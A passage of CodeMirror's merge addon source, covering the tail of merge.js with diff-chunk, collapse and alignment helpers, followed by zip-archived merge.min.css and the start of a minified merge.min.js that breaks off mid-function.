    var next = diff[i + 1][1];
    if ((next.length == 1 && i < diff.length - 2) ||
next.charCodeAt(0) != 10) return false;
    if (i == diff.length - 2) return true;
    next = diff[i + 2][1];
    return (next.length > 1 || i == diff.length - 3) &&
next.charCodeAt(0) == 10;
  }

  function startOfLineClean(diff, i) {
    if (i == 0) return true;
    var last = diff[i - 1][1];
    if (last.charCodeAt(last.length - 1) != 10) return false;
    if (i == 1) return true;
    last = diff[i - 2][1];
    return last.charCodeAt(last.length - 1) == 10;
  }

  function chunkBoundariesAround(chunks, n, nInEdit) {
    var beforeE, afterE, beforeO, afterO;
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      var fromLocal = nInEdit ? chunk.editFrom : chunk.origFrom;
      var toLocal = nInEdit ? chunk.editTo : chunk.origTo;
      if (afterE == null) {
        if (fromLocal > n) { afterE = chunk.editFrom; afterO =
chunk.origFrom; }
        else if (toLocal > n) { afterE = chunk.editTo; afterO =
chunk.origTo; }
      }
      if (toLocal <= n) { beforeE = chunk.editTo; beforeO =
chunk.origTo; }
      else if (fromLocal <= n) { beforeE = chunk.editFrom; beforeO =
chunk.origFrom; }
    }
    return {edit: {before: beforeE, after: afterE}, orig: {before: beforeO,
after: afterO}};
  }

  function collapseSingle(cm, from, to) {
    cm.addLineClass(from, "wrap",
"CodeMirror-merge-collapsed-line");
    var widget = document.createElement("span");
    widget.className = "CodeMirror-merge-collapsed-widget";
    widget.title = cm.phrase("Identical text collapsed. Click to
expand.");
    var mark = cm.markText(Pos(from, 0), Pos(to - 1), {
      inclusiveLeft: true,
      inclusiveRight: true,
      replacedWith: widget,
      clearOnEnter: true
    });
    function clear() {
      mark.clear();
      cm.removeLineClass(from, "wrap",
"CodeMirror-merge-collapsed-line");
    }
    if (mark.explicitlyCleared) clear();
    CodeMirror.on(widget, "click", clear);
    mark.on("clear", clear);
    CodeMirror.on(widget, "click", clear);
    return {mark: mark, clear: clear};
  }

  function collapseStretch(size, editors) {
    var marks = [];
    function clear() {
      for (var i = 0; i < marks.length; i++) marks[i].clear();
    }
    for (var i = 0; i < editors.length; i++) {
      var editor = editors[i];
      var mark = collapseSingle(editor.cm, editor.line, editor.line +
size);
      marks.push(mark);
      mark.mark.on("clear", clear);
    }
    return marks[0].mark;
  }

  function unclearNearChunks(dv, margin, off, clear) {
    for (var i = 0; i < dv.chunks.length; i++) {
      var chunk = dv.chunks[i];
      for (var l = chunk.editFrom - margin; l < chunk.editTo + margin;
l++) {
        var pos = l + off;
        if (pos >= 0 && pos < clear.length) clear[pos] =
false;
      }
    }
  }

  function collapseIdenticalStretches(mv, margin) {
    if (typeof margin != "number") margin = 2;
    var clear = [], edit = mv.editor(), off = edit.firstLine();
    for (var l = off, e = edit.lastLine(); l <= e; l++)
clear.push(true);
    if (mv.left) unclearNearChunks(mv.left, margin, off, clear);
    if (mv.right) unclearNearChunks(mv.right, margin, off, clear);

    for (var i = 0; i < clear.length; i++) {
      if (clear[i]) {
        var line = i + off;
        for (var size = 1; i < clear.length - 1 && clear[i + 1];
i++, size++) {}
        if (size > margin) {
          var editors = [{line: line, cm: edit}];
          if (mv.left) editors.push({line: getMatchingOrigLine(line,
mv.left.chunks), cm: mv.left.orig});
          if (mv.right) editors.push({line: getMatchingOrigLine(line,
mv.right.chunks), cm: mv.right.orig});
          var mark = collapseStretch(size, editors);
          if (mv.options.onCollapse) mv.options.onCollapse(mv, line, size,
mark);
        }
      }
    }
  }

  // General utilities

  function elt(tag, content, className, style) {
    var e = document.createElement(tag);
    if (className) e.className = className;
    if (style) e.style.cssText = style;
    if (typeof content == "string")
e.appendChild(document.createTextNode(content));
    else if (content) for (var i = 0; i < content.length; ++i)
e.appendChild(content[i]);
    return e;
  }

  function clear(node) {
    for (var count = node.childNodes.length; count > 0; --count)
      node.removeChild(node.firstChild);
  }

  function attrs(elt) {
    for (var i = 1; i < arguments.length; i += 2)
      elt.setAttribute(arguments[i], arguments[i+1]);
  }

  function copyObj(obj, target) {
    if (!target) target = {};
    for (var prop in obj) if (obj.hasOwnProperty(prop)) target[prop] =
obj[prop];
    return target;
  }

  function moveOver(pos, str, copy, other) {
    var out = copy ? Pos(pos.line, pos.ch) : pos, at = 0;
    for (;;) {
      var nl = str.indexOf("\n", at);
      if (nl == -1) break;
      ++out.line;
      if (other) ++other.line;
      at = nl + 1;
    }
    out.ch = (at ? 0 : out.ch) + (str.length - at);
    if (other) other.ch = (at ? 0 : other.ch) + (str.length - at);
    return out;
  }

  // Tracks collapsed markers and line widgets, in order to be able to
  // accurately align the content of two editors.

  var F_WIDGET = 1, F_WIDGET_BELOW = 2, F_MARKER = 4

  function TrackAlignable(cm) {
    this.cm = cm
    this.alignable = []
    this.height = cm.doc.height
    var self = this
    cm.on("markerAdded", function(_, marker) {
      if (!marker.collapsed) return
      var found = marker.find(1)
      if (found != null) self.set(found.line, F_MARKER)
    })
    cm.on("markerCleared", function(_, marker, _min, max) {
      if (max != null && marker.collapsed)
        self.check(max, F_MARKER, self.hasMarker)
    })
    cm.on("markerChanged", this.signal.bind(this))
    cm.on("lineWidgetAdded", function(_, widget, lineNo) {
      if (widget.mergeSpacer) return
      if (widget.above) self.set(lineNo - 1, F_WIDGET_BELOW)
      else self.set(lineNo, F_WIDGET)
    })
    cm.on("lineWidgetCleared", function(_, widget, lineNo) {
      if (widget.mergeSpacer) return
      if (widget.above) self.check(lineNo - 1, F_WIDGET_BELOW,
self.hasWidgetBelow)
      else self.check(lineNo, F_WIDGET, self.hasWidget)
    })
    cm.on("lineWidgetChanged", this.signal.bind(this))
    cm.on("change", function(_, change) {
      var start = change.from.line, nBefore = change.to.line -
change.from.line
      var nAfter = change.text.length - 1, end = start + nAfter
      if (nBefore || nAfter) self.map(start, nBefore, nAfter)
      self.check(end, F_MARKER, self.hasMarker)
      if (nBefore || nAfter) self.check(change.from.line, F_MARKER,
self.hasMarker)
    })
    cm.on("viewportChange", function() {
      if (self.cm.doc.height != self.height) self.signal()
    })
  }

  TrackAlignable.prototype = {
    signal: function() {
      CodeMirror.signal(this, "realign")
      this.height = this.cm.doc.height
    },

    set: function(n, flags) {
      var pos = -1
      for (; pos < this.alignable.length; pos += 2) {
        var diff = this.alignable[pos] - n
        if (diff == 0) {
          if ((this.alignable[pos + 1] & flags) == flags) return
          this.alignable[pos + 1] |= flags
          this.signal()
          return
        }
        if (diff > 0) break
      }
      this.signal()
      this.alignable.splice(pos, 0, n, flags)
    },

    find: function(n) {
      for (var i = 0; i < this.alignable.length; i += 2)
        if (this.alignable[i] == n) return i
      return -1
    },

    check: function(n, flag, pred) {
      var found = this.find(n)
      if (found == -1 || !(this.alignable[found + 1] & flag)) return
      if (!pred.call(this, n)) {
        this.signal()
        var flags = this.alignable[found + 1] & ~flag
        if (flags) this.alignable[found + 1] = flags
        else this.alignable.splice(found, 2)
      }
    },

    hasMarker: function(n) {
      var handle = this.cm.getLineHandle(n)
      if (handle.markedSpans) for (var i = 0; i <
handle.markedSpans.length; i++)
        if (handle.markedSpans[i].marker.collapsed &&
handle.markedSpans[i].to != null)
          return true
      return false
    },

    hasWidget: function(n) {
      var handle = this.cm.getLineHandle(n)
      if (handle.widgets) for (var i = 0; i < handle.widgets.length;
i++)
        if (!handle.widgets[i].above &&
!handle.widgets[i].mergeSpacer) return true
      return false
    },

    hasWidgetBelow: function(n) {
      if (n == this.cm.lastLine()) return false
      var handle = this.cm.getLineHandle(n + 1)
      if (handle.widgets) for (var i = 0; i < handle.widgets.length;
i++)
        if (handle.widgets[i].above &&
!handle.widgets[i].mergeSpacer) return true
      return false
    },

    map: function(from, nBefore, nAfter) {
      var diff = nAfter - nBefore, to = from + nBefore, widgetFrom = -1,
widgetTo = -1
      for (var i = 0; i < this.alignable.length; i += 2) {
        var n = this.alignable[i]
        if (n == from && (this.alignable[i + 1] &
F_WIDGET_BELOW)) widgetFrom = i
        if (n == to && (this.alignable[i + 1] &
F_WIDGET_BELOW)) widgetTo = i
        if (n <= from) continue
        else if (n < to) this.alignable.splice(i--, 2)
        else this.alignable[i] += diff
      }
      if (widgetFrom > -1) {
        var flags = this.alignable[widgetFrom + 1]
        if (flags == F_WIDGET_BELOW) this.alignable.splice(widgetFrom, 2)
        else this.alignable[widgetFrom + 1] = flags & ~F_WIDGET_BELOW
      }
      if (widgetTo > -1 && nAfter)
        this.set(from + nAfter, F_WIDGET_BELOW)
    }
  }

  function posMin(a, b) { return (a.line - b.line || a.ch - b.ch) < 0 ?
a : b; }
  function posMax(a, b) { return (a.line - b.line || a.ch - b.ch) > 0 ?
a : b; }
  function posEq(a, b) { return a.line == b.line && a.ch == b.ch; }

  function findPrevDiff(chunks, start, isOrig) {
    for (var i = chunks.length - 1; i >= 0; i--) {
      var chunk = chunks[i];
      var to = (isOrig ? chunk.origTo : chunk.editTo) - 1;
      if (to < start) return to;
    }
  }

  function findNextDiff(chunks, start, isOrig) {
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      var from = (isOrig ? chunk.origFrom : chunk.editFrom);
      if (from > start) return from;
    }
  }

  function goNearbyDiff(cm, dir) {
    var found = null, views = cm.state.diffViews, line =
cm.getCursor().line;
    if (views) for (var i = 0; i < views.length; i++) {
      var dv = views[i], isOrig = cm == dv.orig;
      ensureDiff(dv);
      var pos = dir < 0 ? findPrevDiff(dv.chunks, line, isOrig) :
findNextDiff(dv.chunks, line, isOrig);
      if (pos != null && (found == null || (dir < 0 ? pos >
found : pos < found)))
        found = pos;
    }
    if (found != null)
      cm.setCursor(found, 0);
    else
      return CodeMirror.Pass;
  }

  CodeMirror.commands.goNextDiff = function(cm) {
    return goNearbyDiff(cm, 1);
  };
  CodeMirror.commands.goPrevDiff = function(cm) {
    return goNearbyDiff(cm, -1);
  };
});
PK8��[��m��$codemirror/addon/merge/merge.min.cssnu�[���.CodeMirror-merge{position:relative;border:1px
solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge
.CodeMirror{height:350px}.CodeMirror-merge-2pane
.CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane
.CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane
.CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane
.CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;-moz-box-sizing:border-box;box-sizing:border-box;overflow:hidden;border-left:1px
solid #ddd;border-right:1px solid
#ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-copy,.CodeMirror-merge-copy-reverse{position:absolute;color:#44c;cursor:pointer}.CodeMirror-merge-scrolllock:after{content:"\21db\00a0\00a0\21da"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"\21db\21da"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{z-index:3}.CodeMirror-merge-copybuttons-left
.CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right
.CodeMirror-merge-copy{right:2px}.CodeMirror-merge-l-inserted,.CodeMirror-merge-r-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom
left;background-repeat:repeat-x}.CodeMirror-merge-l-deleted,.CodeMirror-merge-r-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom
left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px
solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid
#ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px
solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid
#88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px
solid
#4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px
solid
#4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px
solid #ddf;font-size:90%;padding:0
3px;border-radius:4px}.CodeMirror-merge-collapsed-line
.CodeMirror-gutter-elt{display:none}PK8��[�G%�H�H#codemirror/addon/merge/merge.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","diff_match_patch"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a,b){this.mv=a,this.type=b,this.classes="left"==b?{chunk:"CodeMirror-merge-l-chunk",start:"CodeMirror-merge-l-chunk-start",end:"CodeMirror-merge-l-chunk-end",insert:"CodeMirror-merge-l-inserted",del:"CodeMirror-merge-l-deleted",connect:"CodeMirror-merge-l-connect"}:{chunk:"CodeMirror-merge-r-chunk",start:"CodeMirror-merge-r-chunk-start",end:"CodeMirror-merge-r-chunk-end",insert:"CodeMirror-merge-r-inserted",del:"CodeMirror-merge-r-deleted",connect:"CodeMirror-merge-r-connect"}}function
c(b){b.diffOutOfDate&&(b.diff=z(b.orig.getValue(),b.edit.getValue(),b.mv.options.ignoreWhitespace),b.chunks=A(b.diff),b.diffOutOfDate=!1,a.signal(b.edit,"updateDiff",b.diff))}function
d(b){function
d(a){W=!0,p=!1,"full"==a&&(b.svg&&J(b.svg),b.copyButtons&&J(b.copyButtons),j(b.edit,m.marked,b.classes),j(b.orig,o.marked,b.classes),m.from=m.to=o.from=o.to=0),c(b),b.showDifferences&&(k(b.edit,b.diff,m,DIFF_INSERT,b.classes),k(b.orig,b.diff,o,DIFF_DELETE,b.classes)),"align"==b.mv.options.connect&&s(b),n(b),null!=b.needsScrollSync&&f(b,b.needsScrollSync),W=!1}function
e(a){W||(b.dealigned=!0,g(a))}function
g(a){W||p||(clearTimeout(l),!0===a&&(p=!0),l=setTimeout(d,!0===a?20:250))}function
h(a,c){b.diffOutOfDate||(b.diffOutOfDate=!0,m.from=m.to=o.from=o.to=0),e(c.text.length-1!=c.to.line-c.from.line)}function
i(){b.diffOutOfDate=!0,b.dealigned=!0,d("full")}var
l,m={from:0,to:0,marked:[]},o={from:0,to:0,marked:[]},p=!1;return
b.edit.on("change",h),b.orig.on("change",h),b.edit.on("swapDoc",i),b.orig.on("swapDoc",i),"align"==b.mv.options.connect&&(a.on(b.edit.state.trackAlignable,"realign",e),a.on(b.orig.state.trackAlignable,"realign",e)),b.edit.on("viewportChange",(function(){g(!1)})),b.orig.on("viewportChange",(function(){g(!1)})),d(),d}function
e(a,b){a.edit.on("scroll",(function(){f(a,!0)&&n(a)})),a.orig.on("scroll",(function(){f(a,!1)&&n(a),b&&f(b,!0)&&n(b)}))}function
f(a,b){if(a.diffOutOfDate)return
a.lockScroll&&null==a.needsScrollSync&&(a.needsScrollSync=b),!1;if(a.needsScrollSync=null,!a.lockScroll)return!0;var
c,d,e=+new
Date;if(b?(c=a.edit,d=a.orig):(c=a.orig,d=a.edit),c.state.scrollSetBy==a&&(c.state.scrollSetAt||0)+250>e)return!1;var
f=c.getScrollInfo();if("align"==a.mv.options.connect)q=f.top;else{var
h,i,j=.5*f.clientHeight,k=f.top+j,l=c.lineAtHeight(k,"local"),m=D(a.chunks,l,b),n=g(c,b?m.edit:m.orig),o=g(d,b?m.orig:m.edit),p=(k-n.top)/(n.bot-n.top),q=o.top-j+p*(o.bot-o.top);if(q>f.top&&(i=f.top/j)<1)q=q*i+f.top*(1-i);else
if((h=f.height-f.clientHeight-f.top)<j){var
r=d.getScrollInfo(),s=r.height-r.clientHeight-q;s>h&&(i=h/j)<1&&(q=q*i+(r.height-r.clientHeight-h)*(1-i))}}return
d.scrollTo(f.left,q),d.state.scrollSetAt=e,d.state.scrollSetBy=a,!0}function
g(a,b){var c=b.after;return
null==c&&(c=a.lastLine()+1),{top:a.heightAtLine(b.before||0,"local"),bot:a.heightAtLine(c,"local")}}function
h(b,c,d){b.lockScroll=c,c&&0!=d&&f(b,DIFF_INSERT)&&n(b),(c?a.addClass:a.rmClass)(b.lockButton,"CodeMirror-merge-scrolllock-enabled")}function
i(a,b,c){for(var
d=c.classLocation,e=0;e<d.length;e++)a.removeLineClass(b,d[e],c.chunk),a.removeLineClass(b,d[e],c.start),a.removeLineClass(b,d[e],c.end)}function
j(b,c,d){for(var e=0;e<c.length;++e){var f=c[e];f instanceof
a.TextMarker?f.clear():f.parent&&i(b,f,d)}c.length=0}function
k(a,b,c,d,e){var
f=a.getViewport();a.operation((function(){c.from==c.to||f.from-c.to>20||c.from-f.to>20?(j(a,c.marked,e),m(a,b,d,c.marked,f.from,f.to,e),c.from=f.from,c.to=f.to):(f.from<c.from&&(m(a,b,d,c.marked,f.from,c.from,e),c.from=f.from),f.to>c.to&&(m(a,b,d,c.marked,c.to,f.to,e),c.to=f.to))}))}function
l(a,b,c,d,e,f){for(var
g=c.classLocation,h=a.getLineHandle(b),i=0;i<g.length;i++)d&&a.addLineClass(h,g[i],c.chunk),e&&a.addLineClass(h,g[i],c.start),f&&a.addLineClass(h,g[i],c.end);return
h}function m(a,b,c,d,e,f,g){function h(b,c){for(var
h=Math.max(e,b),i=Math.min(f,c),j=h;j<i;++j)d.push(l(a,j,g,!0,j==b,j==c-1));b==c&&h==c&&i==c&&(h?d.push(l(a,h-1,g,!1,!1,!0)):d.push(l(a,h,g,!1,!0,!1)))}for(var
i=U(0,0),j=U(e,0),k=a.clipPos(U(f-1)),m=c==DIFF_DELETE?g.del:g.insert,n=0,o=!1,p=0;p<b.length;++p){var
q=b[p],r=q[0],s=q[1];if(r==DIFF_EQUAL){var t=i.line+(C(b,p)?0:1);M(i,s);var
u=i.line+(B(b,p)?1:0);u>t&&(o&&(h(n,t),o=!1),n=u)}else
if(o=!0,r==c){var
v=M(i,s,!0),w=P(j,i),x=O(k,v);Q(w,x)||d.push(a.markText(w,x,{className:m})),i=v}}o&&h(n,i.line+1)}function
n(a){if(a.showDifferences){if(a.svg){J(a.svg);var
b=a.gap.offsetWidth;K(a.svg,"width",b,"height",a.gap.offsetHeight)}a.copyButtons&&J(a.copyButtons);for(var
c=a.edit.getViewport(),d=a.orig.getViewport(),e=a.mv.wrap.getBoundingClientRect().top,f=e-a.edit.getScrollerElement().getBoundingClientRect().top+a.edit.getScrollInfo().top,g=e-a.orig.getScrollerElement().getBoundingClientRect().top+a.orig.getScrollInfo().top,h=0;h<a.chunks.length;h++){var
i=a.chunks[h];i.editFrom<=c.to&&i.editTo>=c.from&&i.origFrom<=d.to&&i.origTo>=d.from&&v(a,i,g,f,b)}}}function
o(a,b){for(var c=0,d=0,e=0;e<b.length;e++){var
f=b[e];if(f.editTo>a&&f.editFrom<=a)return
null;if(f.editFrom>a)break;c=f.editTo,d=f.origTo}return d+(a-c)}function
p(a,b,c){for(var
d=a.state.trackAlignable,e=a.firstLine(),f=0,g=[],h=0;;h++){for(var
i=b[h],j=i?c?i.origFrom:i.editFrom:1e9;f<d.alignable.length;f+=2){var
k=d.alignable[f]+1;if(!(k<=e)){if(!(k<=j))break;g.push(k)}}if(!i)break;g.push(e=c?i.origTo:i.editTo)}return
g}function q(a,b,c,d){var e=0,f=0,g=0,h=0;a:for(;;e++){var
i=a[e],j=b[f];if(!i&&null==j)break;for(var
k=i?i[0]:1e9,l=null==j?1e9:j;g<c.length;){var
m=c[g];if(m.origFrom<=l&&m.origTo>l){f++,e--;continue
a}if(m.editTo>k){if(m.editFrom<=k)continue
a;break}h+=m.origTo-m.origFrom-(m.editTo-m.editFrom),g++}if(k==l-h)i[d]=l,f++;else
if(k<l-h)i[d]=k+h;else{var
n=[l-h,null,null];n[d]=l,a.splice(e,0,n),f++}}}function r(a,b){var
c=p(a.edit,a.chunks,!1),d=[];if(b)for(var
e=0,f=0;e<b.chunks.length;e++){for(var
g=b.chunks[e].editTo;f<c.length&&c[f]<g;)f++;f!=c.length&&c[f]==g||c.splice(f++,0,g)}for(var
e=0;e<c.length;e++)d.push([c[e],null,null]);return
q(d,p(a.orig,a.chunks,!0),a.chunks,1),b&&q(d,p(b.orig,b.chunks,!0),b.chunks,2),d}function
s(a,b){if(a.dealigned||b){if(!a.orig.curOp)return
a.orig.operation((function(){s(a,b)}));a.dealigned=!1;var
d=a.mv.left==a?a.mv.right:a.mv.left;d&&(c(d),d.dealigned=!1);for(var
e=r(a,d),f=a.mv.aligners,g=0;g<f.length;g++)f[g].clear();f.length=0;var
h=[a.edit,a.orig],i=[],j=[];d&&h.push(d.orig);for(var
g=0;g<h.length;g++)i.push(h[g].getScrollInfo().top),j.push(-h[g].getScrollerElement().getBoundingClientRect().top);(j[0]!=j[1]||3==h.length&&j[1]!=j[2])&&t(h,j,[0,0,0],f);for(var
k=0;k<e.length;k++)t(h,j,e[k],f);for(var
g=0;g<h.length;g++)h[g].scrollTo(null,i[g])}}function t(a,b,c,d){for(var
e=-1e8,f=[],g=0;g<a.length;g++)if(null!=c[g]){var
h=a[g].heightAtLine(c[g],"local")-b[g];f[g]=h,e=Math.max(e,h)}for(var
g=0;g<a.length;g++)if(null!=c[g]){var
i=e-f[g];i>1&&d.push(u(a[g],c[g],i))}}function u(a,b,c){var
d=!0;b>a.lastLine()&&(b--,d=!1);var
e=document.createElement("div");return
e.className="CodeMirror-merge-spacer",e.style.height=c+"px",e.style.minWidth="1px",a.addLineWidget(b,e,{height:c,above:d,mergeSpacer:!0,handleMouseEvents:!0})}function
v(a,b,c,d,e){var
f="left"==a.type,g=a.orig.heightAtLine(b.origFrom,"local",!0)-c;if(a.svg){var
h=g,i=a.edit.heightAtLine(b.editFrom,"local",!0)-d;if(f){var
j=h;h=i,i=j}var
k=a.orig.heightAtLine(b.origTo,"local",!0)-c,l=a.edit.heightAtLine(b.editTo,"local",!0)-d;if(f){var
j=k;k=l,l=j}var m=" C "+e/2+" "+i+"
"+e/2+" "+h+" "+(e+2)+" "+h,n=" C
"+e/2+" "+k+" "+e/2+" "+l+" -1
"+l;K(a.svg.appendChild(document.createElementNS(V,"path")),"d","M
-1 "+i+m+" L "+(e+2)+" "+k+n+"
z","class",a.classes.connect)}if(a.copyButtons){var
o=a.copyButtons.appendChild(I("div","left"==a.type?"⇝":"⇜","CodeMirror-merge-copy")),p=a.mv.options.allowEditingOriginals;if(o.title=a.edit.phrase(p?"Push
to left":"Revert
chunk"),o.chunk=b,o.style.top=(b.origTo>b.origFrom?g:a.edit.heightAtLine(b.editFrom,"local")-d)+"px",p){var
q=a.edit.heightAtLine(b.editFrom,"local")-d,r=a.copyButtons.appendChild(I("div","right"==a.type?"⇝":"⇜","CodeMirror-merge-copy-reverse"));r.title="Push
to
right",r.chunk={editFrom:b.origFrom,editTo:b.origTo,origFrom:b.editFrom,origTo:b.editTo},r.style.top=q+"px","right"==a.type?r.style.left="2px":r.style.right="2px"}}}function
w(a,b,c,d){if(!a.diffOutOfDate){var
e=d.origTo>c.lastLine()?U(d.origFrom-1):U(d.origFrom,0),f=U(d.origTo,0),g=d.editTo>b.lastLine()?U(d.editFrom-1):U(d.editFrom,0),h=U(d.editTo,0),i=a.mv.options.revertChunk;i?i(a.mv,c,e,f,b,g,h):b.replaceRange(c.getRange(e,f),g,h)}}function
x(b){var
c=b.lockButton=I("div",null,"CodeMirror-merge-scrolllock"),d=I("div",[c],"CodeMirror-merge-scrolllock-wrap");a.on(c,"click",(function(){h(b,!b.lockScroll)}));var
e=[d];if(!1!==b.mv.options.revertButtons&&(b.copyButtons=I("div",null,"CodeMirror-merge-copybuttons-"+b.type),a.on(b.copyButtons,"click",(function(a){var
c=a.target||a.srcElement;if(c.chunk)return"CodeMirror-merge-copy-reverse"==c.className?void
w(b,b.orig,b.edit,c.chunk):void
w(b,b.edit,b.orig,c.chunk)})),e.unshift(b.copyButtons)),"align"!=b.mv.options.connect){var
f=document.createElementNS&&document.createElementNS(V,"svg");f&&!f.createSVGRect&&(f=null),b.svg=f,f&&e.push(f)}return
b.gap=I("div",e,"CodeMirror-merge-gap")}function
y(a){return"string"==typeof a?a:a.getValue()}function
z(a,b,c){Y||(Y=new diff_match_patch);for(var
d=Y.diff_main(a,b),e=0;e<d.length;++e){var f=d[e];(c?/[^
\t]/.test(f[1]):f[1])?e&&d[e-1][0]==f[0]&&(d.splice(e--,1),d[e][1]+=f[1]):d.splice(e--,1)}return
d}function A(a){var b=[];if(!a.length)return b;for(var
c=0,d=0,e=U(0,0),f=U(0,0),g=0;g<a.length;++g){var
h=a[g],i=h[0];if(i==DIFF_EQUAL){var
j=!C(a,g)||e.line<c||f.line<d?1:0,k=e.line+j,l=f.line+j;M(e,h[1],null,f);var
m=B(a,g)?1:0,n=e.line+m,o=f.line+m;n>k&&(g&&b.push({origFrom:d,origTo:l,editFrom:c,editTo:k}),c=n,d=o)}else
M(i==DIFF_INSERT?e:f,h[1])}return(c<=e.line||d<=f.line)&&b.push({origFrom:d,origTo:f.line+1,editFrom:c,editTo:e.line+1}),b}function
B(a,b){if(b==a.length-1)return!0;var
c=a[b+1][1];return!(1==c.length&&b<a.length-2||10!=c.charCodeAt(0))&&(b==a.length-2||(c=a[b+2][1],(c.length>1||b==a.length-3)&&10==c.charCodeAt(0)))}function
C(a,b){if(0==b)return!0;var c=a[b-1][1];return
10==c.charCodeAt(c.length-1)&&(1==b||(c=a[b-2][1],10==c.charCodeAt(c.length-1)))}function
D(a,b,c){for(var d,e,f,g,h=0;h<a.length;h++){var
i=a[h],j=c?i.editFrom:i.origFrom,k=c?i.editTo:i.origTo;null==e&&(j>b?(e=i.editFrom,g=i.origFrom):k>b&&(e=i.editTo,g=i.origTo)),k<=b?(d=i.editTo,f=i.origTo):j<=b&&(d=i.editFrom,f=i.origFrom)}return{edit:{before:d,after:e},orig:{before:f,after:g}}}function
E(b,c,d){function
e(){g.clear(),b.removeLineClass(c,"wrap","CodeMirror-merge-collapsed-line")}b.addLineClass(c,"wrap","CodeMirror-merge-collapsed-line");var
f=document.createElement("span");f.className="CodeMirror-merge-collapsed-widget",f.title=b.phrase("Identical
text collapsed. Click to expand.");var
g=b.markText(U(c,0),U(d-1),{inclusiveLeft:!0,inclusiveRight:!0,replacedWith:f,clearOnEnter:!0});return
g.explicitlyCleared&&e(),a.on(f,"click",e),g.on("clear",e),a.on(f,"click",e),{mark:g,clear:e}}function
F(a,b){function c(){for(var a=0;a<d.length;a++)d[a].clear()}for(var
d=[],e=0;e<b.length;e++){var
f=b[e],g=E(f.cm,f.line,f.line+a);d.push(g),g.mark.on("clear",c)}return
d[0].mark}function G(a,b,c,d){for(var e=0;e<a.chunks.length;e++)for(var
f=a.chunks[e],g=f.editFrom-b;g<f.editTo+b;g++){var
h=g+c;h>=0&&h<d.length&&(d[h]=!1)}}function
H(a,b){"number"!=typeof b&&(b=2);for(var
c=[],d=a.editor(),e=d.firstLine(),f=e,g=d.lastLine();f<=g;f++)c.push(!0);a.left&&G(a.left,b,e,c),a.right&&G(a.right,b,e,c);for(var
h=0;h<c.length;h++)if(c[h]){for(var
i=h+e,j=1;h<c.length-1&&c[h+1];h++,j++);if(j>b){var
k=[{line:i,cm:d}];a.left&&k.push({line:o(i,a.left.chunks),cm:a.left.orig}),a.right&&k.push({line:o(i,a.right.chunks),cm:a.right.orig});var
l=F(j,k);a.options.onCollapse&&a.options.onCollapse(a,i,j,l)}}}function
I(a,b,c,d){var
e=document.createElement(a);if(c&&(e.className=c),d&&(e.style.cssText=d),"string"==typeof
b)e.appendChild(document.createTextNode(b));else if(b)for(var
f=0;f<b.length;++f)e.appendChild(b[f]);return e}function J(a){for(var
b=a.childNodes.length;b>0;--b)a.removeChild(a.firstChild)}function
K(a){for(var
b=1;b<arguments.length;b+=2)a.setAttribute(arguments[b],arguments[b+1])}function
L(a,b){b||(b={});for(var c in
a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}function
M(a,b,c,d){for(var e=c?U(a.line,a.ch):a,f=0;;){var
g=b.indexOf("\n",f);if(-1==g)break;++e.line,d&&++d.line,f=g+1}return
e.ch=(f?0:e.ch)+(b.length-f),d&&(d.ch=(f?0:d.ch)+(b.length-f)),e}function
N(a){this.cm=a,this.alignable=[],this.height=a.doc.height;var
b=this;a.on("markerAdded",(function(a,c){if(c.collapsed){var
d=c.find(1);null!=d&&b.set(d.line,_)}})),a.on("markerCleared",(function(a,c,d,e){null!=e&&c.collapsed&&b.check(e,_,b.hasMarker)})),a.on("markerChanged",this.signal.bind(this)),a.on("lineWidgetAdded",(function(a,c,d){c.mergeSpacer||(c.above?b.set(d-1,$):b.set(d,Z))})),a.on("lineWidgetCleared",(function(a,c,d){c.mergeSpacer||(c.above?b.check(d-1,$,b.hasWidgetBelow):b.check(d,Z,b.hasWidget))})),a.on("lineWidgetChanged",this.signal.bind(this)),a.on("change",(function(a,c){var
